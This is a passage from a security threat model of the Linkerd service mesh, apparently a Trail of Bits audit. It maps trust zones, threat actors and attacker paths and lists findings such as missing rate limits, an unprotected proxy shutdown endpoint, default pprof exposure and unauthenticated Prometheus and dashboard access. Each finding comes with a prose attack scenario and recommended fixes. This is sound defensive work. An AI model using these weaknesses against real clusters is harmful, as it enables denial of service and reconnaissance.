CLI Tool \\n ● kubectl \\n ● External Services \\n User Application \\n Namespaces This zone comprises the underlying \\n components of user applications, \\n including components that Linkerd \\n injects into the application \\n namespaces to facilitate proxying. ● User Applications \\n ● proxy-init \\n ● linkerd-proxy \\n Linkerd Namespace This zone describes components in \\n the Linkerd namespace that are \\n shared among pods within a cluster. \\n These components help install \\n Linkerd components into user \\n applications and record routing \\n information for underlying proxies. ● proxy-injector \\n (controller) \\n ● linkerd-proxy \\n ● Identity Service \\n (controller) \\n ● linkerd-proxy \\n ● Destination Service \\n (controller) \\n ● linkerd-proxy \\n linkerd-viz \\n Namespace This zone comprises extensions that \\n collect metrics and provide \\n diagnostics information for \\n Linkerd-integrated Kubernetes \\n deployments. ● linkerd-viz Extensions \\n T r a i l o f B i t s 13 Linkerd Threat Model \\n C O N F I D E N T I A L \\n T r u s t Z o n e Co n n e c t i o n s \\n At a design level, trust zones are delineated by the security controls that enforce the \\n differing levels of trust within each zone. Therefore, it is necessary to ensure that data \\n cannot move between trust zones without first satisfying the intended trust requirements \\n of its destination. We enumerate such connections between trust zones below. \\n Originating \\n Zone Destination \\n Zone Data Description Connection \\n Type Authentication \\n Type \\n External External The “check” \\n command returns \\n the latest version of \\n Linkerd from \\n linkerd.io . HTTPS TLS \\n The “inject” \\n command pulls a \\n YAML file from a \\n given URL. URI-specified \\n protocol (HTTP, \\n HTTPS, etc.) URI-specified \\n protocol ( None , \\n TLS, etc.) \\n External User \\n Application \\n Namespaces User application \\n containers can \\n interact with \\n arbitrary external \\n services (e.g., \\n GitHub). * * \\n The CLI tool modifies \\n infrastructural YAML \\n definitions for \\n kubectl to deploy. \\n When kubectl \\n deploys these \\n definitions, Linkerd is \\n integrated into \\n relevant \\n infrastructural \\n components over the \\n Kubernetes API. HTTP, HTTPS None , TLS \\n T r a i l o f B i t s 14 Linkerd Threat Model \\n C O N F I D E N T I A L \\n External Linkerd \\n Namespace The CLI tool modifies \\n infrastructural YAML \\n definitions for \\n kubectl to deploy. \\n When kubectl \\n deploys these \\n definitions, Linkerd is \\n integrated into \\n relevant \\n infrastructural \\n components over the \\n Kubernetes API. \\n This includes control \\n of trusted root and \\n webhook certificates. HTTP, HTTPS None , TLS \\n External linkerd-viz \\n Namespace Users can reach the \\n web UI if the \\n dashboard is \\n enabled and \\n exposed outside of \\n the localhost. HTTP (external \\n to \\n linkerd-viz \\n proxies) None \\n Linkerd \\n Namespace External The Heartbeat cron \\n job contacts \\n linkerd.io with \\n runtime telemetry; \\n telemetry is enabled \\n by default. HTTPS TLS \\n (terminated by \\n CloudFlare) \\n Linkerd \\n Namespace User \\n Application \\n Namespaces The \\n proxy-injector \\n injects proxy \\n components into \\n annotated pods in \\n user application \\n namespaces through \\n patches provided to \\n the Kubernetes API. HTTPS TLS \\n The identity service \\n acts as a certificate gRPC One-way TLS, \\n then mTLS \\n T r a i l o f B i t s 15 Linkerd Threat Model \\n C O N F I D E N T I A L \\n authority and signs \\n CSRs for proxies. after the \\n certificate is \\n obtained from \\n the identity \\n service \\n The destination \\n service provides \\n routing information \\n for linkerd-proxy \\n sidecars. Proxies \\n query this \\n information \\n (read-only). \\n A race condition \\n could cause some \\n traffic to be \\n one-way/partially \\n TLS-encrypted until \\n certificates are \\n exchanged. gRPC One-way TLS, \\n then mTLS \\n after the \\n certificate is \\n obtained from \\n the identity \\n service \\n Linkerd \\n Namespace Linkerd \\n Namespace All components \\n within this trust zone \\n reach out to the \\n identity provider to \\n be able to \\n communicate. gRPC mTLS \\n Outbound \\n connections go \\n through the \\n Kubernetes API \\n server and may hit \\n the destination \\n controller to resolve \\n routing information. gRPC mTLS \\n Linkerd \\n Namespace linkerd-viz \\n Namespace Proxies in the \\n Linkerd namespace HTTPS mTLS \\n T r a i l o f B i t s 16 Linkerd Threat Model \\n C O N F I D E N T I A L \\n issue responses \\n returned from \\n queries made by \\n linkerd-viz \\n components. \\n User \\n Application \\n Namespaces External User application \\n containers can \\n interact with \\n arbitrary external \\n services with or \\n without the use of \\n Linkerd proxies. \\n Proxies record TCP \\n metrics for \\n connections (number \\n of times connected, \\n etc.). * * \\n User \\n Application \\n Namespaces User \\n Application \\n Namespaces A user application \\n maintains two-way \\n communication with \\n another application \\n through its sidecar \\n proxy \\n ( linkerd-proxy ), as \\n defined by IP tables \\n configured earlier by \\n the proxy-init \\n container. \\n Only TCP traffic can \\n be proxied. TCP * \\n The linkerd-proxy \\n exposes admin \\n endpoints on the \\n localhost to perform \\n actions such as \\n shutting down the \\n machine or checking \\n the logging settings. HTTPS mTLS \\n T r a i l o f B i t s 17 Linkerd Threat Model \\n C O N F I D E N T I A L \\n User \\n Application \\n Namespaces Linkerd \\n Namespace When a user \\n application’s sidecar \\n proxy \\n ( linkerd-proxy ) is \\n first launched, it \\n reaches out to the \\n identity provider for \\n a new certificate. \\n It then reaches out \\n to the identity \\n provider periodically \\n for certificate \\n rotation. \\n The lifetime of a \\n certificate is 24 hours \\n by default. gRPC One-way TLS, \\n then mTLS \\n after the \\n certificate is \\n obtained from \\n the identity \\n service. \\n A user application’s \\n sidecar proxy \\n ( linkerd-proxy ) \\n reaches out to the \\n destination provider \\n for \\n routing information. \\n The proxy also \\n reaches out to the \\n destination provider \\n for the inbound \\n authorization policy \\n at startup. gRPC One-way TLS, \\n then mTLS \\n after the \\n certificate is \\n obtained from \\n the identity \\n service. \\n User \\n Application \\n Namespaces linkerd-viz \\n Namespace linkerd-viz \\n extensions inject a \\n TAP server \\n component into the \\n user application \\n namespace. The user \\n application reads \\n config maps from \\n the linkerd-viz \\n namespace to \\n provide diagnostics HTTPS TLS \\n T r a i l o f B i t s 18 Linkerd Threat Model \\n C O N F I D E N T I A L \\n data. \\n linkerd-viz \\n endpoints are \\n reachable from the \\n user application \\n namespace. HTTP None for \\n Prometheus \\n endpoints \\n Namespace \\n validation for \\n web endpoints \\n linkerd-viz \\n Namespace External The web UI serves a \\n front end to clients, \\n and JavaScript makes \\n calls to external \\n content services. HTTP None \\n Prometheus can \\n export metrics to \\n external services. \\n Grafana can send \\n data to external \\n Grafana APIs. HTTPS TLS \\n Authentication \\n controls \\n imposed by \\n external \\n services \\n linkerd-viz \\n Namespace User \\n Application \\n Namespaces linkerd-viz \\n extensions reach out \\n to user application \\n namespace pods to \\n collect metrics and \\n diagnostics data via \\n their respective \\n admin server \\n endpoints. \\n When TAP is \\n enabled, a TAP \\n injector injects TAP \\n controllers in user \\n application pods. HTTPS mTLS \\n linkerd-viz \\n Namespace Linkerd \\n Namespace linkerd-viz \\n extensions query \\n Linkerd namespace \\n proxies for metrics HTTPS TLS \\n T r a i l o f B i t s 19 Linkerd Threat Model \\n C O N F I D E N T I A L \\n data. \\n The web container \\n reaches out to the \\n Linkerd namespace \\n to read config maps. \\n The TAP controller \\n reaches out to \\n proxies in the \\n Linkerd namespace \\n for diagnostics data. gRPC mTLS \\n linkerd-viz \\n proxies obtain \\n routing data from \\n the destination \\n controller and \\n identities from the \\n identity controller. gRPC mTLS \\n linkerd-viz \\n Namespace linkerd-viz \\n Namespace linkerd-viz \\n extensions reach out \\n to their own proxies \\n when querying \\n metrics data. HTTPS TLS \\n The TAP controller \\n reaches out to \\n proxies in \\n linkerd-viz for \\n diagnostics data. gRPC TLS \\n The web container \\n reaches out to the \\n Prometheus \\n container to obtain \\n and display metrics \\n data in the \\n dashboard. HTTPS TLS \\n Linkerd \\n authorization \\n policies \\n (inbound) \\n T r a i l o f B i t s 20 Linkerd Threat Model \\n C O N F I D E N T I A L \\n T h r e a t A c t o r s \\n Similarly to establishing trust zones, defining malicious actors before conducting a threat \\n model is useful in determining which protections, if any, are necessary to mitigate or \\n remediate a vulnerability. Additionally, we define other “users” of the system who may be \\n impacted by, or induced to undertake, an attack. For example, in a confused deputy attack \\n such as cross-site request forgery, a normal user could be both the victim and the direct \\n attacker, even if the user were induced to undertake the action by a secondary attacker. \\n We will refer to these actors in the descriptions of the findings uncovered by creating the \\n threat modeling process. \\n Actor Description \\n Internal Attacker An attacker who has transited one or more trust boundaries, such \\n as an attacker with cluster access \\n E xternal Attacker An attacker who is external to the cluster and is unauthenticated, \\n such as an attacker with control over external services \\n Infrastructure Operator An administrator tasked with operating and maintaining \\n infrastructure within one or many of the namespaces of a \\n Linkerd-integrated cluster \\n Application User An end user who accesses meshed applications \\n T r a i l o f B i t s 21 Linkerd Threat Model \\n C O N F I D E N T I A L \\n T h r e a t A c t o r P a t h s \\n Additionally, defining attackers’ paths through the various zones is useful when analyzing \\n potential controls, remediations, and mitigations that exist in the current architecture. \\n Originating \\n Zone Destination \\n Zone Actor Description \\n Any Any Internal \\n Attacker Internal attackers may have existing \\n privileges or access to a wide range of \\n resources, such as the Kubernetes \\n cluster that hosts Linkerd and user \\n application namespace infrastructure. \\n They may also be able to obtain signed \\n mTLS certificates from the identity \\n provider to communicate with other \\n components within the system. \\n Therefore, for strong non-repudiation \\n of actions, controls must be in place to \\n log all actions within the system and to \\n ensure that actors are authorized to \\n undertake certain actions. \\n E xternal \\n Attacker External attackers may target any \\n exposed paths within the Linkerd or \\n user application namespaces. Proxied \\n connections and endpoints are \\n managed by the infrastructure \\n operator and are exposed as needed. \\n Documentation should describe best \\n practices when configuring forwarding \\n rules and Kubernetes access controls \\n separating trust boundaries. This will \\n deter external attackers from \\n transiting trust boundaries. \\n Infrastructure \\n Operator Operators may misconfigure Linkerd \\n or user application services such that \\n they do not allow actors to access \\n them as expected. \\n To mitigate such concerns, errors in \\n T r a i l o f B i t s 22 Linkerd Threat Model \\n C O N F I D E N T I A L \\n the system should be logged \\n accordingly to provide an audit trail \\n alongside extensive administrator \\n documentation. \\n Application \\n User An application user may interact with \\n an exposed user application in any \\n number of ways. Therefore, the \\n availability or integrity of any user \\n application may be at risk. \\n It is important for Linkerd to employ \\n access controls for isolation and to log \\n events so that an audit trail is available \\n in the event of an attack or system \\n deficiency. \\n External External Internal \\n Attacker An internal attacker with access to \\n external services such as linkerd.io \\n servers can misreport version checks \\n made by the CLI tool, install backdoors \\n in distributions, or otherwise affect \\n users in a number of ways without \\n immediate access to a cluster. \\n External \\n Attacker An external attacker may attempt to \\n intercept communications between \\n the CLI tool and external services if \\n connections are insecure. The CLI tool \\n may load YAML files from an external \\n source during configuration. If \\n insecure protocols such as HTTP are \\n specified in the URI path, an external \\n attacker may manipulate traffic to \\n inject malicious payloads into the \\n underlying Kubernetes infrastructure. \\n Best practices regarding the use of \\n external configuration files within \\n Linkerd should be described in the \\n documentation. This will decrease the \\n risk of the use of insecure protocols. \\n External User Internal User applications may decide to route \\n T r a i l o f B i t s 23 Linkerd Threat Model \\n C O N F I D E N T I A L \\n Application \\n Namespaces Attacker proxied or unproxied connections to \\n arbitrary external services. User \\n applications are responsible for \\n effectively and appropriately \\n leveraging authentication, \\n cryptography, data validation, and \\n Kubernetes access controls to prevent \\n lateral movement across namespaces. \\n Care must be taken not to expose \\n critical endpoints to the user \\n application’s sidecar proxy admin \\n endpoints to the outside world, as \\n they can be used to shut down the \\n proxy, leak metrics, or perform \\n denial-of-service attacks. \\n Infrastructure \\n Operator User applications share a pod with \\n their sidecar proxies and respective \\n init containers. Therefore, operators of \\n user application infrastructure should \\n be aware that if a user application is \\n compromised, lateral components \\n such as the sidecar proxy could also \\n be compromised. This may expose \\n routing information and certificates \\n within the namespace. \\n Effective logging is crucial for \\n maintaining an audit trail for such \\n scenarios. \\n External Linkerd \\n Namespace Internal \\n Attacker An internal attacker with access to an \\n external service that hosts an \\n infrastructure operator’s YAML files \\n may be able to manipulate the \\n underlying infrastructure. The \\n documentation should note that \\n accepting external configurations from \\n arbitrary sources is always risky. \\n External \\n Attacker If the specified connection protocol is \\n insecure, an external attacker without \\n access to any external service may \\n T r a i l o f B i t s 24 Linkerd Threat Model \\n C O N F I D E N T I A L \\n perform a man-in-the-middle attack \\n against the CLI tool as it fetches \\n infrastructural YAML definitions. The \\n documentation should note the \\n insecure protocols that are accepted \\n by the CLI tool, which should be used \\n with caution. \\n External linkerd-viz \\n Namespace External \\n Attacker An external attacker can conduct \\n supply chain attacks to compromise \\n the confidentiality of data provided by \\n linkerd-viz APIs and extensions. \\n For instance, an attacker could modify \\n JavaScript libraries used by \\n linkerd-viz components for UI \\n dashboards. \\n An attacker may be able to reach \\n linkerd-viz APIs externally via a \\n number of common web application \\n attacks, such as cross-site scripting, \\n cross-site request forgery, and \\n clickjacking. \\n Infrastructure \\n Operator Infrastructure operators must ensure \\n that they do not unintentionally \\n expose linkerd-viz applications \\n externally, and they must understand \\n the risks inherent in exposing \\n linkerd-viz related data. This is \\n especially important given that \\n linkerd-viz components such as \\n the web UI do not require \\n authorization once exposed. \\n User \\n Application \\n Namespaces External Internal \\n Attacker An internal attacker could exploit \\n external services by leveraging \\n connections to them from user \\n applications. \\n For instance, if a Linkerd-integrated \\n user application connects to a remote \\n web server, an internal attacker could \\n send malicious payloads to the server \\n T r a i l o f B i t s 25 Linkerd Threat Model \\n C O N F I D E N T I A L \\n through such a connection. \\n User \\n Application \\n Namespaces User \\n Application \\n Namespaces Internal \\n Attacker An internal attacker can disable an \\n application’s sidecar proxy, effectively \\n bringing the user application offline. \\n This can be done by exposing admin \\n endpoints on the sidecar proxy. \\n Exposing admin endpoints can also \\n expose proxy metrics and other \\n potentially sensitive information. \\n Infrastructure \\n Operator Infrastructure operators must ensure \\n that appropriate logging procedures \\n are in place; logs can serve as an audit \\n trail in the event of an attack. Logs can \\n help determine whether two \\n components have tried to \\n communicate inappropriately, \\n indicating that the pod may have been \\n compromised. \\n User \\n Application \\n Namespaces Linkerd \\n Namespace Internal \\n Attacker An internal attacker could send \\n requests to the destination and \\n identity controllers to try to perform a \\n denial-of-service attack against them. \\n For instance, if an attacker changes \\n the availability of an application, \\n causing updates to be made in the \\n destination controller, and \\n continuously requests a newly signed \\n certificate (as if he were a new proxy \\n initializing for the first time), the \\n identity service would be forced to \\n perform signing operations for the \\n attacker. \\n This highlights the need for \\n appropriate logging within the Linkerd \\n namespace to prevent such attacks \\n and for access controls to ensure that \\n routing information for unrelated \\n pods or containers cannot be \\n obtained. \\n T r a i l o f B i t s 26 Linkerd Threat Model \\n C O N F I D E N T I A L \\n Additionally, the documentation \\n should describe best practices \\n regarding the use of Kubernetes \\n access controls to ensure that lateral \\n movement across namespaces is not \\n possible. \\n Infrastructure \\n Operator Infrastructure operators must ensure \\n that they maintain restrictive access \\n controls, limiting access to admin \\n endpoints and other services that \\n could increase the attack surface area \\n or interrupt the availability of the \\n system. \\n Additionally, they must be conscious \\n of access controls and namespace \\n isolations so as not to allow lateral \\n movement across namespaces. \\n User \\n Application \\n Namespaces linkerd-viz \\n Namespace Internal \\n Attacker Internal attackers with access that is \\n restricted to the application \\n namespace could reach Prometheus \\n endpoints to obtain metrics data that \\n could give them insight into other \\n cluster components that they would \\n not otherwise have visibility into. \\n External \\n Attacker If an external attacker finds a \\n vulnerability in an application in the \\n user application namespace that gives \\n her access to the application server, \\n she can call the Prometheus API to \\n obtain information about other \\n resources in the cluster. \\n Linkerd \\n Namespace External Internal \\n Attacker An internal attacker with access to the \\n Linkerd namespace may be able to \\n change certificate and routing \\n information stored within the identity \\n and destination services, respectively. \\n This could prevent traffic from \\n reaching the intended external \\n services. \\n T r a i l o f B i t s 27 Linkerd Threat Model \\n C O N F I D E N T I A L \\n Infrastructure \\n Operator An operator may unintentionally \\n expose access to the sidecar proxies \\n for the identity, destination, and \\n proxy-injector controllers, allowing \\n external traffic to be routed into the \\n proxy and exposing the admin panel \\n to the outside world. \\n Kubernetes access controls must be \\n managed appropriately to prevent \\n lateral movement within the cluster. \\n Linkerd \\n Namespace User \\n Application \\n Namespaces Internal \\n Attacker An internal attacker with access to the \\n Linkerd namespace may be able to \\n change certificate and routing \\n information stored within the identity \\n and destination services, respectively. \\n This could expose user application \\n traffic to unintended parties and could \\n leak sensitive secrets. \\n Furthermore, an internal attacker with \\n access to the Linkerd namespace may \\n be able to inject malicious \\n components into the user application \\n namespaces, as the proxy-injector \\n does. This could compromise the user \\n application namespaces. \\n Linkerd \\n Namespace Linkerd \\n Namespace Internal \\n Attacker An internal attacker may obtain access \\n to certificates or destination routing \\n information for Linkerd \\n proxy–integrated components within \\n the cluster. An attacker may also be \\n able to change routing information to \\n leak sensitive application data or to \\n break Linkerd controllers across the \\n cluster. \\n An internal attacker may also access \\n sidecar proxy admin shutdown \\n endpoints, which may affect service \\n availability. \\n T r a i l o f B i t s 28 Linkerd Threat Model \\n C O N F I D E N T I A L \\n Linkerd \\n Namespace linkerd-viz \\n Namespace Internal \\n Attacker An internal attacker who is able to \\n forward ports for services running in \\n the Linkerd namespace may be able to \\n shut down control plane proxies, \\n preventing the linkerd-viz \\n extensions from querying Linkerd \\n control plane components for metrics \\n data. \\n linkerd-viz \\n Namespace External Internal \\n Attacker An internal attacker with the ability to \\n configure external connections for the \\n Prometheus and Grafana extensions \\n could modify their configurations so \\n that they communicate with \\n attacker-controlled endpoints, \\n allowing the attacker to collect cluster \\n metrics that could be useful when \\n formulating attacks. \\n linkerd-viz \\n Namespace User \\n Application \\n Namespaces Internal \\n Attacker An internal attacker could \\n compromise the TAP injector, allowing \\n her to leak user application data and \\n compromise pods in the user \\n application namespaces. \\n linkerd-viz \\n Namespace Linkerd \\n Namespace Internal \\n Attacker An internal attacker could \\n compromise the TAP injector to \\n modify annotations made to proxies in \\n the Linkerd namespace, allowing him \\n to compromise the proxies and \\n potentially disable communication \\n with control plane components. \\n linkerd-viz \\n Namespace linkerd-viz \\n Namespace Internal \\n Attacker An internal attacker who is able to \\n forward ports for the linkerd-viz \\n endpoint may be able to disable \\n linkerd-viz proxies by leveraging \\n the shutdown admin endpoint \\n exposed on the sidecar proxies, \\n effectively removing the ability to \\n collect metrics and diagnostics data \\n typically provided by linkerd-viz \\n extensions. \\n T r a i l o f B i t s 29 Linkerd Threat Model \\n C O N F I D E N T I A L \\n Infrastructure \\n Operator An infrastructure operator must \\n ensure that linkerd-viz extensions \\n are not exposed on the internet, as \\n the exposure of a linkerd-viz \\n extension could affect the availability \\n of other components within the same \\n linkerd-viz namespace. Operators \\n should be careful to minimize the \\n exposed attack surface area. \\n T r a i l o f B i t s 30 Linkerd Threat Model \\n C O N F I D E N T I A L \\n S u m m a r y o f F i n d i n g s \\n The table below summarizes the findings of the review, including type and severity details. \\n ID Title Type Severity \\n 1 Lack of rate-limiting mechanisms in the identity \\n service Denial of \\n Service Low \\n 2 Lack of rate-limiting mechanisms in the \\n destination service Denial of \\n Service Low \\n 3 CLI tool allows the use of insecure protocols when \\n externally sourcing infrastructure definitions Awareness and \\n Training Medium \\n 4 Exposure of admin endpoint may affect \\n application availability Awareness and \\n Training Medium \\n 5 Go’s pprof endpoints enabled by default in all \\n admin servers Audit and \\n Accountability Inform ational \\n 6 Lack of access controls on the linkerd-viz \\n dashboard Access Controls Low \\n 7 Prometheus endpoints reachable from the user \\n application namespace Access Controls Low \\n 8 Lack of egress access controls Access Controls Low \\n 9 Prometheus endpoints are unencrypted and \\n unauthenticated by default Access Controls Low \\n 10 Shared identity and destination services in a \\n cluster poses risks to multi-application clusters System and \\n Communication \\n s Protection Medium \\n 11 Lack of isolation between components and their \\n sidecar proxies System and \\n Communication \\n s Protection Low \\n T r a i l o f B i t s 31 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 12 Lack of centralized security best practices \\n documentation Awareness and \\n Training Inform ational \\n 13 Unclear distinction between Linkerd and Linkerd2 \\n in official Linkerd blog post guidance Awareness and \\n Training Inform ational \\n 14 Insufficient logging of outbound HTTPS calls Audit and \\n Accountability Low \\n T r a i l o f B i t s 32 Linkerd Threat Model \\n C O N F I D E N T I A L \\n D e t a i l e d F i n d i n g s \\n 1 . L a c k o f r a t e - l i m i t i n g m e c h a n i s m s i n t h e i d e n t i t y s e r v i c e \\n Severity: Low Difficulty: High \\n Type: Denial of Service Finding ID: TOB-LKDTM-1 \\n Target: Identity service \\n D e s c r i p t i on \\n The identity service issues signed certificates to sidecar proxies within Linkerd-integrated \\n infrastructure. When proxies initialize for the first time, they request a certificate from the \\n identity service. However, the identity service lacks sufficient rate-limiting mechanisms, \\n which may make it prone to denial-of-service attacks. \\n Because identity controllers are shared among pods in a cluster, denial of service of an \\n identity controller may affect the availability of applications across the cluster. \\n T h r e a t S c e n a r i o \\n An attacker obtains access to the sidecar proxy in one of the user application namespaces. \\n Due to the lack of rate-limiting mechanisms within the identity service, the proxy can now \\n repeatedly request a newly signed certificate as if it were a proxy sidecar initializing for the \\n first time. \\n R e c om m e n d a t i on s \\n Short term, add rate-limiting mechanisms to the identity service to prevent a single pod \\n from requesting too many certificates or performing other computationally intensive \\n actions. \\n Long term, ensure that appropriate rate-limiting mechanisms exist throughout the \\n infrastructure to prevent denial-of-service attacks. Where possible, implement stricter \\n access controls to ensure that components cannot interact with APIs more than necessary. \\n Additionally, ensure that the system sufficiently logs events so that an audit trail is available \\n in the event of an attack. \\n T r a i l o f B i t s 33 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 2 . L a c k o f r a t e - l i m i t i n g m e c h a n i s m s i n t h e d e s t i n a t i o n s e r v i c e \\n Severity: Low Difficulty: High \\n Type: Denial of Service Finding ID: TOB-LKDTM-2 \\n Target: Destination service \\n D e s c r i p t i on \\n The destination service contains traffic-routing information for sidecar proxies within \\n Linkerd-integrated infrastructure. However, the destination service lacks sufficient \\n rate-limiting mechanisms, which may make it prone to denial-of-service attacks if a pod \\n repeatedly changes its availability status. \\n Because destination controllers are shared among pods in a cluster, denial of service of a \\n destination controller may affect the availability of applications across the cluster. \\n T h r e a t S c e n a r i o \\n An attacker obtains access to the sidecar proxy in one of the user application namespaces. \\n Due to the lack of rate-limiting mechanisms within the destination service, the proxy can \\n now repeatedly request routing information or change its availability status to force \\n updates in the controller. \\n R e c om m e n d a t i on s \\n Short term, add rate-limiting mechanisms to the destination service to prevent a single pod \\n from requesting too much routing information or performing state updates too quickly. \\n Long term, ensure that appropriate rate-limiting mechanisms exist throughout the \\n infrastructure to prevent denial-of-service attacks. Where possible, implement stricter \\n access controls to ensure that components cannot interact with APIs more than necessary. \\n Additionally, ensure that the system sufficiently logs events so that an audit trail is available \\n in the event of an attack. \\n T r a i l o f B i t s 34 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 3 . CL I t ool a l l o w s t h e u s e o f i n s e c u r e p r o t o c o l s w h e n e x t e r n a l l y s o u r c i n g \\n i n f r a s t r u c t u r e d e fi n i t i on s \\n Severity: Medium Difficulty: Low \\n Type: Awareness and Training Finding ID: TOB-LKDTM-3 \\n Target: CLI tool \\n D e s c r i p t i on \\n When using the command-line interface (CLI) tool, an operator may source infrastructural \\n YAML definitions from a URI path specifying any protocol, such as http:// or https:// . \\n Therefore, a user could expose sensitive information when using an insecure protocol such \\n as HTTP. Furthermore, the Linkerd documentation does not warn users about the system’s \\n use of insecure protocols. \\n T h r e a t S c e n a r i o \\n An infrastructure operator integrates Linkerd into her infrastructure. When doing so, she \\n uses the CLI tool to fetch YAML definitions over HTTP. Unbeknownst to her, the use of HTTP \\n has made her data visible to attackers on the local network. Her data is also prone to \\n man-in-the-middle attacks. \\n R e c om m e n d a t i on s \\n Short term, disallow the use of insecure protocols within the CLI tool when sourcing \\n external data. Alternatively, provide documentation and best practices regarding the use of \\n insecure protocols when externally sourcing data within the CLI tool. \\n T r a i l o f B i t s 35 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 4 . E x p os u r e o f a d m i n e n d p oi n t m a y a \\u0000 e c t a p p l i c a t i o n a v a i l a b i l i t y \\n Severity: Medium Difficulty: Medium \\n Type: Awareness and Training Finding ID: TOB-LKDTM-4 \\n Target: linkerd-proxy \\n D e s c r i p t i on \\n User application sidecar proxies expose an admin endpoint that can be used for tasks such \\n as shutting down the proxy server and collecting metrics. This endpoint is exposed to other \\n components within the same pod. Therefore, an internal attacker could shut down the \\n proxy, affecting the user application’s availability. \\n Furthermore, the admin endpoint lacks access controls, and the documentation does not \\n warn of the risks of exposing the admin endpoint over the internet. \\n T h r e a t S c e n a r i o \\n An infrastructure operator integrates Linkerd into their Kubernetes cluster. After a new \\n user application is deployed, an underlying component within the same pod is \\n compromised. An attacker with access to the compromised component can now laterally \\n send a request to the admin endpoint used to shut down the proxy server, resulting in a \\n denial of service of the user application. \\n R e c om m e n d a t i on s \\n Short term, employ authentication and authorization mechanisms behind the admin \\n endpoint for proxy servers. \\n Long term, document the risks of exposing critical components throughout Linkerd. For \\n instance, it is important to note that exposing the admin endpoint on a user application \\n proxy server may result in the exposure of a shutdown method, which could be leveraged \\n in a denial-of-service attack. \\n T r a i l o f B i t s 36 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 5 . G o ’ s p p r o f e n d p oi n t s e n a b l e d b y d e f a u l t i n a l l a d m i n s e r v e r s \\n Severity: Informational Difficulty: High \\n Type: Audit and Accountability Finding ID: TOB-LKDTM-5 \\n Target: HTTP admin servers \\n D e s c r i p t i on \\n All core components of the Linkerd infrastructure, in both the data and control planes, \\n have an admin server with Go’s server runtime profiler ( pprof ) endpoints on \\n /debug/pprof enabled by default. These servers are not exposed to the rest of the cluster \\n or to the local network by default. \\n T h r e a t S c e n a r i o \\n An attacker scans the network in which a Linkerd cluster is configured and discovers that \\n an operator forwarded the admin server port to the local network, exposing the pprof \\n endpoints to the local network. He connects a profiler to it and gains access to debug \\n information, which assists him in mounting further attacks. \\n R e c om m e n d a t i on s \\n Short term, add a check to http.go that enables pprof endpoints only when Linkerd runs \\n in debug or test mode. \\n Long term, audit all debug-related functionality to ensure it is not exposed when Linkerd is \\n running in production mode. \\n R e f e r e n c e s \\n ● Your pprof is showing: IPv4 scans reveal exposed net/http/pprof endpoints \\n T r a i l o f B i t s 37 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 6 . L a c k o f a c c e s s c on t r ol s on t h e l i n k e r d - v i z d a s h b o a r d \\n Severity: Low Difficulty: High \\n Type: Access Controls Finding ID: TOB-LKDTM-6 \\n Target: linkerd-viz extensions \\n D e s c r i p t i on \\n Linkerd operators can enable a set of metrics-focused features by adding the \\n linkerd-viz extension. Doing so enables a web UI dashboard that lists detailed \\n information about the namespaces, services, pods, containers, and other resources in a \\n Kubernetes cluster in which Linkerd is configured. Operators can enable Kubernetes \\n role-based access controls to the dashboard; however, no access control options are \\n provided by Linkerd. \\n T h r e a t S c e n a r i o \\n An attacker scans the network in which a Linkerd cluster is configured and discovers an \\n exposed UI dashboard. By accessing the dashboard, she gains valuable insight into the \\n cluster. She uses the knowledge gained from exploring the dashboard to formulate attacks \\n that would expand her access to the network. \\n R e c om m e n d a t i on s \\n Short term, document recommendations for restructuring access to the linkerd-viz \\n dashboard. \\n Long term, add authentication and authorization controls for accessing the dashboard. This \\n could be done by implementing tokens created via the CLI or client-side authorization logic. \\n T r a i l o f B i t s 38 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 7 . P r om e t h e u s e n d p oi n t s r e a c h a b l e f r o m t h e u s e r a p p l i c a t i o n n a m e s p a c e \\n Severity: Low Difficulty: High \\n Type: Access Controls Finding ID: TOB-LKDTM-7 \\n Target: linkerd-viz extensions \\n D e s c r i p t i on \\n The linkerd-viz extension provides a Prometheus API that collects metrics data from the \\n various proxies and controllers used by the control and data planes. Metrics can include \\n various labels with IP addresses, pod IDs, and port numbers. \\n T h r e a t S c e n a r i o \\n An attacker gains access to a user application pod and calls the API directly to read \\n Prometheus metrics. He uses the API to gain information about the cluster that aids him in \\n expanding his access across the Kubernetes infrastructure. \\n R e c om m e n d a t i on s \\n Short term, disallow access to the Prometheus extension from the user application \\n namespace. This could be done in the same manner in which access to the web dashboard \\n is restricted from within the cluster (e.g., by allowing access only for specific hosts). \\n T r a i l o f B i t s 39 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 8 . L a c k o f e g r e s s a c c e s s c on t r ol s \\n Severity: Low Difficulty: High \\n Type: Access Controls Finding ID: TOB-LKDTM-8 \\n Target: Destination service, linkerd-proxy \\n D e s c r i p t i on \\n Linkerd provides access control mechanisms for ingress traffic but not for egress traffic. \\n Egress controls would allow an operator to impose important restrictions, such as which \\n external services and endpoints that a meshed application running in the application \\n namespace can communicate with. \\n T h r e a t S c e n a r i o \\n A user application becomes compromised. As a result, the application code begins making \\n outbound requests to malicious endpoints. The lack of access controls on egress traffic \\n prevents infrastructure operators from mitigating the situation (e.g., by allowing the \\n application to communicate with only a set of allowlisted external services). \\n R e c om m e n d a t i on s \\n Short term, add support for enforcing egress network policies. A GitHub issue to \\n implement this recommendation already exists in the Linkerd repository. \\n T r a i l o f B i t s 40 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 9 . P r om e t h e u s e n d p oi n t s a r e u n e n c r y p t e d a n d u n a u t h e n t i c a t e d b y d e f a u l t \\n Severity: Low Difficulty: High \\n Type: Access Controls Finding ID: TOB-LKDTM-9 \\n Target: linkerd-viz extensions \\n D e s c r i p t i on \\n The linkerd-viz extension provides a Prometheus API that collects metrics data from the \\n various proxies and controllers used by the control and data planes. However, this \\n endpoint is unencrypted and unauthenticated, lacking access and confidentiality controls \\n entirely. \\n T h r e a t S c e n a r i o \\n An attacker gains access to a sibling component within the same namespace in which the \\n Prometheus endpoint exists. Due to the lack of access controls, the attacker can now \\n laterally obtain Prometheus metrics with ease. Additionally, due to the lack of \\n confidentiality controls, such as those implemented through the use of cryptography, \\n connections are exposed to other parties. \\n R e c om m e n d a t i on s \\n Short term, consider implementing access controls within Prometheus and Kubernetes to \\n disallow access to the Prometheus metrics endpoint from any machine within the cluster \\n that is irrelevant to Prometheus logging. Additionally, implement secure encryption of \\n connections with the use of TLS within Prometheus or leverage existing Linkerd mTLS \\n schemes. \\n T r a i l o f B i t 